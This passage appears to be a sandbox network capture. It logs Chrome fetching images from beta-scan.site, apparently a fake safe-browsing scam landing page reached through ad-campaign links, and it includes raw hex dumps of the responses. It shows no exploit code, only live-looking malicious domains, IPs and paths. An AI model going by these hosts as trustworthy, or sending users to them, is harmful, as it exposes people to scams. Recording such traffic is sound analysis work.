2024-10-03 15:18:59 UTC	16384	IN	Data Raw: 75 85 b9 03 6d 73 99 f0 fa 9b 7b 2e 58 60 80 01 31 63 84 6b a6 ee 6b 29 96 eb ce 9b 36 a9 80 af f0 3f b4 28 ac 59 6d ea b7 c2 d7 3f 86 a1 55 10 16 54 7a b8 a6 d7 8a 49 14 cd a1 fd f1 e7 0d df 97 f1 49 c1 34 98 a5 4a fe eb 50 3b 54 70 02 8a 91 bd 22 86 29 25 37 bb 7f c4 96 99 08 17 71 03 3c 0e bb 10 25 c0 8f 3d 78 ce 35 e8 72 b8 de 01 ee 0a a8 aa 33 70 a2 d9 0a 1f 3e f3 80 11 f8 6d 52 83 92 aa 0e f2 7d 25 b3 7e fd 0e 4d 58 77 a1 b2 44 c9 e4 7d 9f 76 6c e6 c1 e1 63 e9 60 58 d6 46 13 f0 5a 9b 39 4e 90 34 56 3a eb 18 b9 e1 80 71 58 1b 36 f6 3a c2 fe 4d c1 91 08 a1 7c 3e 6d ed 14 f5 f5 40 90 e4 46 d4 ca a8 24 99 5f 11 43 40 00 00 26 be 00 04 2e ba 75 e6 b2 30 d4 35 f8 c2 81 d4 bd 41 fa 02 c3 61 66 91 a0 2e 60 42 38 6c 7d ca 16 d6 fd 3f 2d ab bf c5 70 06 75 39 Data Ascii: ums{.X`1ckk)6?(Ym?UTzII4JP;Tp")%7q<%=x5r3p>mR}%~MXwD}vlc`XFZ9N4V:qX6:M\|>m@F$_C@&.u05Aaf.`B8l}?-pu9
2024-10-03 15:18:59 UTC	16384	IN	Data Raw: c4 d1 c9 f6 16 0e 7f 4c a8 3f aa 76 e3 2d 02 63 7e 48 35 9b 22 79 58 a4 23 64 63 76 bb cd 7b 9f 04 37 07 b8 d3 fc 22 3a 9d f1 e5 fe 35 4f c8 9d 97 1f 65 99 49 07 79 0e 59 98 5a 31 bc ee 3a 57 d9 39 89 ca 38 6d 73 e2 9c d6 e8 aa 1e e1 62 12 84 7a b9 56 7b e4 1f 76 21 df e7 c7 e6 9f 3c 81 53 93 3f 0c 23 21 66 53 0b c8 ac 8b c0 ca 67 64 c9 3b c6 c7 21 b2 37 d5 fb a0 60 5a 61 9c 13 c9 3c fd d3 55 e3 57 56 1b 4a 3c 6b b8 e2 e8 75 06 6c b4 5d 7f 28 e7 b0 a7 fd 10 51 7f a6 87 7e 4b b7 bf 25 63 7f fe 11 ad d0 92 77 ba 0d 2d 67 76 eb 38 8e e6 1f e6 95 f9 62 c1 30 66 87 31 52 6f 0f 79 bb 0c 11 18 9a b5 57 bc 6e ce cd f0 cd d9 a3 21 cf 6e ac 97 00 ca eb 33 19 5b 36 f2 99 1a 1b 3b e4 cc 2b dd 47 a5 25 a9 72 ad 53 11 34 62 ae 3e 72 a1 c5 af d5 2e 57 83 2c 33 4f 97 eb Data Ascii: L?v-c~H5"yX#dcv{7":5OeIyYZ1:W98msbzV{v!<S?#!fSgd;!7`Za<UWVJ<kul](Q~K%cw-gv8b0f1RoyWn!n3[6;+G%rS4b>r.W,3O
2024-10-03 15:18:59 UTC	16384	IN	Data Raw: 0f 7f 18 e3 4c b8 64 b5 d8 74 63 5b 3f 74 f9 92 57 cb e6 1f 51 c3 f6 61 a3 a9 56 1f 8b cf 04 c0 ce 2e 12 3b 11 10 96 0e 6d 92 51 a6 ab 3f d8 eb ec e3 8c 8a 45 32 9f d2 20 c6 5d 64 5c f1 6b 4f 9f cf ff 3a 5e 9e 5f 9a e3 ed 2d 0a b5 72 55 2f 75 34 9c e1 7e e1 e0 76 6b a5 fa ce 2a 4d 31 aa 91 ab 84 f2 5e 75 57 80 84 ff 97 ab 41 66 0f a2 eb fa 97 32 36 d0 5e 59 2a 6e 56 40 4e 87 38 73 48 72 ee 5a 53 9f 23 88 1a d7 58 18 82 a4 84 a0 13 24 44 e2 01 7b 75 d0 ab cc 16 93 d9 de 19 c9 66 3e 19 1b 7d ff 02 ad 95 ba c3 6b d5 49 fe 2d 30 2b 8a 7c c9 11 bf 89 c8 17 5c 19 a7 88 94 c6 e0 e4 d5 ed b6 ea 2c 06 cb 7e 35 fa e4 58 23 ce 69 a2 82 80 32 f3 35 3c 42 3d 33 e2 fa f5 9f 2a 25 3a 27 43 d8 92 27 f0 11 7f f0 b4 b5 69 6f 36 46 ce 48 a3 9f 6d 30 64 8a 52 30 80 e2 cb f8 Data Ascii: Ldtc[?tWQaV.;mQ?E2 ]d\kO:^_-rU/u4~vkM1^uWAf26^YnV@N8sHrZS#X$D{uf>}kI-0+\|\,~5X#i25<B=3*%:'C'io6FHm0dR0
2024-10-03 15:18:59 UTC	16384	IN	Data Raw: 0f b0 96 e0 af 3c 19 8d 9a 2c 47 fe 41 b5 da b0 2a ec 62 ef 09 a8 ff 04 0c f3 17 81 f0 81 8b aa 1b c0 8c 50 e0 23 b9 87 8a c8 37 54 30 74 64 ff 1e a5 87 de bc 4e 90 91 c5 ce 1a ae 53 40 ae e4 ce 23 b1 57 cd 7d fe f6 90 53 68 8d cc 26 fe 8b c5 70 73 68 80 6d cd be 57 48 e7 ca a3 63 92 46 e0 d7 dc 12 ce 84 6a bc 7c 2f cc 6a 54 ec bf 3a 15 81 b1 1f c8 62 cf 18 4e 84 b9 6d b7 a6 e6 f5 46 76 9f 83 7c dc 14 db 04 09 d0 c2 07 f9 a2 7c fc 29 16 fb bf 11 2b 92 da 5f 5f 7d 7c f3 7c c8 80 3a 97 55 9e 69 82 5a 6c 58 ff 3c b8 99 fd 12 9b 81 5f dd f3 6c c6 e2 82 5b d3 70 b4 59 e2 b5 19 f9 c2 0d 83 7a f8 fc 24 1c 6a 06 e9 6c 87 d8 eb 60 7b 19 45 e8 07 d8 c1 4a bd 68 c1 59 9d 23 b1 d4 11 ad cd 0e ec 4e ee 2c f8 b2 7d c0 2e f8 99 6b 51 97 2c 60 d7 62 07 1f 46 2a 1f 65 7a Data Ascii: <,GAbP#7T0tdNS@#W}Sh&pshmWHcFj\|/jT:bNmFv\|\|)+__}\|\|:UiZlX<_l[pYz$jl`{EJhY#N,}.kQ,`bFez
2024-10-03 15:18:59 UTC	16384	IN	Data Raw: 43 be e9 66 4c 40 45 08 0d 32 07 aa 28 eb a6 9f 73 37 d8 ee 59 af 2a 76 5e 92 b5 c0 73 ef 1c 51 8c a1 5a 02 44 30 3d b7 0e 02 cd 42 cd 31 d6 08 f2 82 15 d9 36 e7 cf fc f9 40 70 6d 5e b7 f0 0c e5 61 f4 6d df 18 d5 f9 ff f5 02 36 27 fb 8f 8e 54 44 50 00 b5 42 d4 ac e9 af 7b 7b ba 5a ff 6f 62 d5 6c da ef bd 0d 5e 91 70 66 85 35 fd d6 30 8d 65 6b 6a 3b 0a 70 5f ba 58 26 0d 69 c2 44 09 99 a8 78 fb dc 02 4b 55 d6 4c f1 33 c3 27 f6 4c 66 0b 58 de 71 1e 47 7a fa c9 9f 30 8e b4 7c 8b 04 79 e0 00 5c a0 73 82 6f 54 d4 78 9e b6 a0 58 5d 6e 5b 4a 3d 4e 31 39 21 30 9e 57 61 70 16 f5 71 58 cb 97 31 79 5a d4 34 ba d6 73 79 84 ae 06 a9 39 75 4e bd f4 b1 67 0e 05 70 62 a5 09 9f ed 57 b0 f7 d9 f5 2a 1b 27 f2 2d 19 17 47 5f 4d 8e 39 4c 2e 9b 3e b9 56 72 65 99 9d eb 08 f9 af Data Ascii: CfL@E2(s7Yv^sQZD0=B16@pm^am6'TDPB{{Zobl^pf50ekj;p_X&iDxKUL3'LfXqGz0\|y\soTxX]n[J=N19!0WapqX1yZ4sy9uNgpbW'-G_M9L.>Vre
2024-10-03 15:18:59 UTC	6630	IN	Data Raw: 1d 42 72 b4 91 69 54 8a 26 2a c2 48 05 d4 45 c7 fd 52 ca aa e2 9b 94 00 25 c3 d4 96 df 93 95 ef 94 75 36 f1 1c 92 4f 6a c0 58 25 c8 22 80 09 f9 fd 35 44 d5 8e f9 3b dc 07 41 31 50 ce 72 11 d0 bd c9 5b 3a d5 b1 c0 53 69 6d 3b 3a 2d c6 f1 8e d1 91 75 30 28 ab 1b 4c 80 f6 02 04 e9 82 19 e6 bf b4 83 79 ec 3f 4c 12 f8 6c 94 c9 ab c1 b5 47 fa 2f e7 c0 4c 88 37 b4 08 88 be e2 ae ac 94 21 b0 9c 10 50 b3 e3 f3 61 0a 80 7e 6d a3 f5 47 31 47 75 93 c4 15 c2 9f 1f 69 9a 14 f0 3a 26 cb 80 97 60 fc 3b c1 1a 8d 7d b0 e4 4e 55 70 a8 10 09 93 4f 6e 97 92 19 f9 64 be f4 4b ad 89 a9 99 03 4b 34 4d 55 f4 7f f4 e0 24 06 65 55 e8 cc fb fc 68 a1 d8 86 f1 ca 57 ca 20 06 68 8d 89 4c a0 f5 43 25 42 7f 9a a7 62 76 d0 da c6 3a c0 4b 8f 67 4e 96 4d 5a 26 11 16 d8 2c 8d 38 a0 9b a7 23 Data Ascii: BriT&*HER%u6OjX%"5D;A1Pr[:Sim;:-u0(Ly?LlG/L7!Pa~mG1Gui:&`;}NUpOndKK4MU$eUhW hLC%Bbv:KgNMZ&,8#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.17	55781	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:59 UTC	857	OUT	GET /landers/gsb/GSB/files/images/atten.png HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:18:59 UTC	279	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:59 GMT Content-Type: image/png Content-Length: 2453 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-995" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:59 UTC	2453	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 59 08 06 00 00 00 c8 06 81 27 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 23 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 Data Ascii: PNGIHDRdY'tEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.17	55785	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:59 UTC	522	OUT	GET /landers/gsb/GSB/files/images/safe-browser-logo.png HTTP/1.1 Host: beta-scan.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:18:59 UTC	282	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:18:59 GMT Content-Type: image/png Content-Length: 87122 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-15452" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:18:59 UTC	16102	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 00 00 00 01 49 08 06 00 00 00 05 72 5f 80 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 01 54 04 49 44 41 54 78 9c ec dd 79 7c 54 e5 bd 3f f0 cf 73 ce 99 35 99 2c 93 65 08 09 21 fb 4a 02 61 27 22 88 a0 62 85 2a 55 6c f1 de da aa f7 56 14 7b 6b 7b f5 de da 56 fb ab b6 5a ab bd da aa ad b4 d5 56 5b 51 41 01 05 05 04 04 44 f6 25 61 c9 be 91 90 84 ec db 24 b3 9e 73 9e df 1f 93 09 93 64 12 b2 cc 64 92 f0 bc 7d 21 e4 cc cc 99 27 c9 6c df ef f3 7d be 0f a1 94 82 61 18 86 61 06 53 51 51 21 9c 3e 7d fa c9 d3 a7 4f 3f 91 97 97 a7 bf 72 e5 0a 64 59 06 00 e8 74 3a 4c 9f 3e 1d 89 89 89 17 16 2e 5c f8 dc ad b7 de ba c5 c7 c3 65 18 86 61 18 86 61 dc 20 2c 01 c0 30 0c c3 0c e6 dd 77 df 7d 69 ef Data Ascii: PNGIHDRIr_pHYsTIDATxy\|T?s5,e!Ja'"b*UlV{k{VZV[QAD%a$sdd}!'l}aaSQQ!>}O?rdYt:L>.\eaa ,0w}i
2024-10-03 15:18:59 UTC	16384	IN	Data Raw: a8 ac ac cc e8 5b da 7b e5 ca 15 d5 4b 2f bd b4 a4 a9 a9 29 76 d1 a2 45 e7 0d 06 c3 39 42 c8 65 00 01 9d 9d 9d 19 35 35 35 0b ce 9e 3d 9b f0 e1 87 1f aa fa 6e 4d 36 5e cc 9c 39 f3 f5 6f 7c e3 1b d9 9b 37 6f 5e ee da 94 0d 70 34 57 fb ea ab af 70 ee dc b9 13 73 e7 ce 35 2e 5e bc f8 a9 d8 d8 d8 3d 33 67 ce 2c 75 77 ae 8b 17 2f 46 76 74 74 4c 2f 28 28 b8 ff dc b9 73 0f 17 16 16 42 96 65 c4 c4 c4 ec 49 49 49 f1 49 09 74 55 55 55 16 80 a3 83 5d 67 d3 a6 4d d3 0a 0a 0a 96 9d 3b 77 6e 75 7d 7d 7d 82 bb 59 7f a7 69 d3 a6 e1 9e 7b ee 79 68 e1 c2 85 43 2a 57 f7 96 1b 6f bc f1 a9 a6 a6 a6 19 3b 76 ec c8 10 c5 de 2f 2b 16 8b e5 ee ad 5b b7 ea f2 f2 f2 be fc e0 83 0f 5e 1c ec 3c 8f 3c f2 c8 77 4f 9f 3e 7d af 28 8a fd 9a e7 11 42 30 7b f6 6c dc 71 c7 1d f7 cd 98 31 a3 Data Ascii: [{K/)vE9Be555=nM6^9o\|7o^p4Wps5.^=3g,uw/FvttL/((sBeIIIItUUU]gM;wnu}}}Yi{yhC*Wo;v/+[^<<wO>}(B0{lq1
2024-10-03 15:18:59 UTC	16384	IN	Data Raw: 72 53 13 60 ef 5b 61 e6 05 94 82 36 d4 41 6c a8 03 ce 9e 5a 69 ff e2 f3 95 96 7f fc 05 42 d6 dc dd 8a d9 73 5f 56 64 2f d9 ef fd 41 5c d5 2f 01 a0 54 2a 3b ba ba ba e0 6c 04 38 9a e0 29 44 19 c6 12 00 cc 98 70 ce fc af 0e 7a 04 df 0c dc 00 25 a7 19 df 33 ff 81 80 26 6a 7c 07 ff 14 80 92 a8 10 c0 85 61 34 1f d0 38 8e b3 5f fb 5a be 71 a0 ac 75 d5 e1 8a 36 af de 87 46 20 c8 9e aa 04 47 00 0a c2 66 ff 99 eb 82 ed d0 fe 35 62 ee 99 1f 49 f9 17 97 4a e5 65 80 34 8e 1e f6 36 1b 68 4b 33 68 4b 33 e4 4b e5 09 f6 2f bf 78 8b 84 86 bf 25 a4 a6 d7 08 59 73 5f e6 53 d2 de 15 92 52 d8 87 71 4f e9 fc f8 09 98 0f bf 00 eb 29 01 62 0d 80 31 4a fe 0c 85 dc e6 f8 23 5e 02 2c 5f df 0f 2e e8 7e a8 66 03 aa 79 5b a0 9e ff 02 d4 e3 7b 1d ef 44 73 b0 ac 75 65 45 8b 65 55 6d 87 Data Ascii: rS`[a6AlZiBs_Vd/A\/T*;l8)Dpz%3&j\|a48_Zqu6F Gf5bIJe46hK3hK3K/x%Ys_SRqO)b1J#^,_.~fy[{DsueEeUm
2024-10-03 15:18:59 UTC	16384	IN	Data Raw: 63 21 1c bd f6 e4 34 aa b2 d0 c3 a3 75 b4 c5 5c 3d c2 48 52 46 24 c7 f9 5f 78 f6 7f e4 95 9f fe b7 ba 6f 2f 20 47 56 30 93 98 cc e0 6a a6 81 d6 d6 41 9e 36 03 9e 3c 07 7c aa 0a 45 55 01 39 22 bf 84 03 08 7c ae 82 20 b8 f4 de 5b 47 54 bc 8b 61 18 59 55 55 a8 aa 0a 59 96 23 76 00 00 00 85 86 1a db 74 64 f2 19 68 17 3b 12 96 06 40 41 f1 5e e3 bf 71 7a d9 59 58 52 7e 1e 54 aa 9f ac 6f 38 c2 95 00 5f 2f b9 16 2a 55 f1 64 d3 a3 71 75 02 1c 93 fd df 82 eb 9c 37 c3 c0 9a 02 2d e2 12 18 f9 6f ec da 80 27 37 df 9d 8e fc c7 00 1a fc 2a 60 4b fb db ff 45 34 4e f0 f3 51 75 2c c0 12 6b 26 d9 f8 2f 0d 2c 16 fa e2 b8 8d 95 54 8a b5 07 fb 6e f8 de c9 93 c7 57 c8 2b 4d 9a 31 a2 1d 3a 70 76 a4 3d 88 47 83 50 9a f4 05 3e 13 81 20 08 2e c9 68 72 28 8e 49 ad 86 a6 7a fd ea bf Data Ascii: c!4u\=HRF$_xo/ GV0jA6<\|EU9"\| [GTaYUUY#vtdh;@A^qzYXR~To8_/Udqu7-o'7`KE4NQu,k&/,TnW+M1:pv=GP> .hr(Iz
2024-10-03 15:18:59 UTC	16384	IN	Data Raw: 7a 3d 69 12 c7 e0 e8 0a 28 85 54 51 85 be cb af 82 3c a9 50 d7 b9 69 5b 0b 7c 4f 3c fa aa f8 c6 2b 29 d7 62 c9 ff 97 a7 5a b5 7d 7b c6 7d 5c 78 e4 df 7d c6 39 70 9f 73 01 a8 d1 78 dc a6 24 11 ce d7 c1 f7 2f 80 c2 af 39 d1 2a df 04 9f 5a 89 e0 0e 43 9f c9 e5 5d 40 d7 af 56 c2 f7 d9 22 7d 26 d0 89 8e 9f 6e 87 ef d3 f1 1f 17 6a f7 47 79 74 2b 17 a1 43 b9 2a 50 78 31 cc f8 07 92 bb f0 5f bc b0 5b 6d fb 19 26 3e cf ce 4f f7 74 e3 ee f7 f7 ec 8b cb 64 3a d1 d0 bb 37 5f a6 91 b7 23 1d 09 4a 29 3a c5 de 6a 5d 06 1f 81 e3 52 d6 6c 76 b8 2e b8 14 52 69 62 1b 1c d1 f6 36 f8 9e 79 ea 3e cf af ee 3c a4 34 6c d7 f7 81 a9 33 ca 96 8d d5 ee bb ee e8 93 57 2c ff 53 42 76 aa c1 be a2 7d fd 0b 0a aa 00 a2 e9 08 40 10 28 84 97 c9 67 e3 2b 93 af 44 06 67 8b c9 5a 93 89 c1 35 Data Ascii: z=i(TQ<Pi[\|O<+)bZ}{}\x}9psx$/9ZC]@V"}&njGyt+CPx1_[m&>Otd:7_#J):j]Rlv.Rib6y><4l3W,SBv}@(g+DgZ5
2024-10-03 15:18:59 UTC	5484	IN	Data Raw: c0 38 56 ac 58 61 de 7c f3 cd 2f 4a 92 94 14 42 ec 19 ed 73 52 a9 14 86 86 86 90 4e a7 01 20 37 14 ce 4d f9 2b d9 b6 b0 51 eb a9 c7 87 16 3f 80 af ad f9 0b 3c b0 e4 23 68 f0 86 e7 fc 90 40 21 00 3b db e7 bf 54 69 c3 7d 81 c7 f1 91 d0 37 b0 dd fb 5e 78 98 0f b6 70 bf dc ff da b9 af 0d fb 4b 24 12 18 1a 1a 2a 0c fe f7 48 92 f4 f6 c6 c6 c6 17 29 f8 27 84 10 42 88 1b fc dc ea 6d a9 2a dd 7a dd 1b 97 62 f8 f6 6b 97 7f 5c b2 13 cc 01 3f 3b 39 70 c7 be b3 53 18 dc 9f bd 29 5f 57 a7 e0 d6 45 1e 30 06 70 4e fd ff 64 e6 49 4f 3d f5 d4 4c 5f c3 ac b0 64 c9 92 b3 97 2e 5d aa b7 2c eb df 18 63 bf 5d f8 71 cb b2 a0 eb 3a 18 63 90 65 19 9c 97 2e b7 e2 04 a2 8c 31 54 ab b5 d8 52 bd 1d ed a1 b5 90 18 47 6f fa 32 12 56 2a 37 f2 ae d4 15 01 8a 02 54 56 02 92 54 ba 73 38 2b Data Ascii: 8VXa\|/JBsRN 7M+Q?<#h@!;Ti}7^xpK$H)'Bmzbk\?;9pS)_WE0pNdIO=L_d.],c]q:ce.1TRGo2V*7TVTs8+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.17	55787	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:59 UTC	860	OUT	GET /landers/gsb/GSB/files/images/action_1.gif HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:00 UTC	276	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:00 GMT Content-Type: image/gif Content-Length: 69 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-45" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:19:00 UTC	69	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 80 00 00 fe fe fe c7 1a 01 21 f9 04 00 00 00 00 00 2c 00 00 00 00 10 00 10 00 00 02 1c 84 8f 69 c1 ed be 9e 64 aa da 8b e6 8c 1a e2 0f 76 0f 27 06 e0 79 95 0d 29 a2 47 01 00 3b Data Ascii: GIF89a!,idv'y)G;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.17	55786	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:59 UTC	860	OUT	GET /landers/gsb/GSB/files/images/action_2.gif HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:00 UTC	278	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:00 GMT Content-Type: image/gif Content-Length: 377 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-179" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:19:00 UTC	377	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 d5 00 00 04 03 03 fe fe fe 19 17 18 30 2f 31 e5 e5 e4 47 46 49 d6 d5 d6 ad ad ad 80 7e 80 c6 c6 c6 a6 a7 aa fc fc fc 69 67 67 d0 d0 d0 e7 e7 e7 a2 9f a0 86 85 87 55 54 54 8c 8c 8d b2 b3 b3 ef ef ef 98 99 9b 70 70 70 b6 b6 b7 7a 77 7a c0 c0 c1 5f 5c 61 f9 f9 f9 95 92 92 e1 e1 e1 d9 d9 d9 f4 f4 f4 f7 f7 f7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 10 00 10 00 00 06 96 c0 80 70 b8 41 20 16 0b 82 63 31 6c 3a 18 00 00 22 53 28 10 9a c2 c6 40 00 91 6c 01 02 03 Data Ascii: GIF89a0/1GFI~iggUTTpppzwz_\a!,pA c1l:"S(@l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.17	55788	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:59 UTC	511	OUT	GET /landers/gsb/GSB/files/images/icon_1.png HTTP/1.1 Host: beta-scan.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:00 UTC	279	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:00 GMT Content-Type: image/png Content-Length: 1137 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-471" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:19:00 UTC	1137	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 23 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 Data Ascii: PNGIHDR22?tEXtSoftwareAdobe ImageReadyqe<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" 